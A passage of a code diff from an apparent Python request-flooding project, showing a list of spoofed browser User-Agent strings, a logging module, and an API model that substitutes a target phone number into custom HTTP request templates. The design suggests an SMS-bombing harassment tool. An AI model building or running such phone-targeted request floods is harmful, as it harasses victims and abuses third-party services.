"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) Chrome/4.0.223.3 Safari/532.2"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19"},
{
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.8 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.8"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.9 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.9"},
{"User-Agent": "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5"},
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon; .NET CLR 1.1.4322)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9"},
{"User-Agent": "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1"},
{"User-Agent": "ozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.5) Gecko/20041108 Firefox/1.0"},
{
"User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"},
{
"User-Agent": "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4"},
{
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.50"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/7.0.0 Safari/700.13"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041107 Firefox/0.9.2 StumbleUpon/1.994"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.5) Gecko/20041110 Firefox/1.0"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.0.3705)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0"},
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1"},
{
"User-Agent": "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20040913 Firefox/0.10"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.8 (KHTML, like Gecko) Chrome/2.0.177.1 Safari/530.8"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5"},
{
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461)"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0) Gecko/16.0 Firefox/16.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"},
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2"},
{"User-Agent": "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0"},
{"User-Agent": "Mozilla/5.0 (Windows NT 5.1; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.0; rv:2.1.1) Gecko/20110415 Firefox/4.0.2pre Fennec/4.0.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE; rv:1.7.5) Gecko/20041108 Firefox/1.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.5) Gecko/20041122 Firefox/1.0"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HCI0449; .NET CLR 1.0.3705)"},
{
"User-Agent": "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt); Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1);"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.55 Safari/525.19"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1 Fennec/7.0a1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; WOW64; SV1; uZardWeb/1.0; Server_HK)"},
{"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1"},
{
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)"},
{
"User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.0) yi; AppleWebKit/345667.12221 (KHTML, like Gecko) Chrome/23.0.1271.26 Safari/453667.1221"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.2 (KHTML, like Gecko) Chrome/3.0.191.3 Safari/531.2"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.38 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b) Gecko/20050118 Firefox/1.0+"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040707 Firefox/0.9.2"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0"},
{
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4"},
{
"User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)"},
{
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.43 Safari/534.7"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13"},
{
"User-Agent": "Mozilla/5.0 (ipad Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-CA) AppleWebKit/534.13 (KHTML like Gecko) Chrome/9.0.597.98 Safari/534.13"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1"
},
{
"User-Agent": "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5"},
]
def default_header_user_agent():
return random.choice(USER_AGENT_LIST)

44
utils/log.py Normal file
View File

@@ -0,0 +1,44 @@
# encoding=utf8
# 日志模块
from loguru import logger
import pathlib
import sys
import os
# 终端日志输出格式
stdout_fmt = '<cyan>{time:HH:mm:ss,SSS}</cyan> ' \
'[<level>{level}</level>] ' \
'<cyan>{thread.name}</cyan> ' \
'<blue>{module}</blue>:<cyan>{line}</cyan> - ' \
'<level>{message}</level>'
# 日志文件记录格式
# logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
# '[<level>{level: <5}</level>] ' \
# '<cyan>{process.name}({process.id})</cyan>:' \
# '<cyan>{thread.name: <10}({thread.id: <5})</cyan> | ' \
# '<blue>{module}</blue>.<blue>{function}</blue>:' \
# '<blue>{line}</blue> - <level>{message}</level>'
logfile_fmt = '<light-green>{time:YYYY-MM-DD HH:mm:ss,SSS}</light-green> ' \
'[<level>{level}</level>] ' \
'<blue>{module}</blue>.<blue>{function}</blue>:' \
'<blue>{line}</blue> - <level>{message}</level>'
log_pathDir = pathlib.Path(os.getcwd()).resolve().joinpath('logs')
if not log_pathDir.is_dir():
log_pathDir.mkdir()
log_path = log_pathDir.joinpath('run.log').resolve()
logger.remove()
if not os.environ.get('PYTHONIOENCODING'): # 设置编码
os.environ['PYTHONIOENCODING'] = 'utf-8'
logger.add(sys.stderr, level='INFO', format=stdout_fmt, enqueue=True)
# 输出到文件
# logger.add(log_path, level='DEBUG', format=logfile_fmt,
# enqueue=True, encoding='utf-8')
if __name__ == "__main__":
logger.info("test")

59
utils/models.py Normal file
View File

@@ -0,0 +1,59 @@
# encoding=utf8
# 一些模型
from pydantic import BaseModel
from typing import Union, Optional
from datetime import datetime
import json
from utils import default_header_user_agent
class API(BaseModel):
"""处理自定义 API 数据"""
desc: str = "Default"
url: str
method: str = "GET"
header: Optional[Union[str, dict]] = default_header_user_agent()
data: Optional[Union[str, dict]]
def replace_data(self, content: Union[str, dict], phone: str) -> str:
# 统一转换成 str 再替换. ' -> "
if phone:
content = str(content).replace("[phone]", phone).replace(
"[timestamp]", self.timestamp_new()).replace("'", '"')
# 尝试 json 化
try:
return json.loads(content.replace("'", '"'))
except:
return content
def timestamp_new(self) -> str:
"""返回整数字符串时间戳"""
return str(int(datetime.now().timestamp()))
def handle_API(self, phone: str=None):
""" 传入手机号处理 API
:param API: one API basemodel
:return: API basemodel
"""
# 仅仅当传入 phone 参数时添加 Referer
# fix: 这段代码很有问题.......
if phone:
# 进入的 header 是个字符串
if self.header == "":
self.header = {}
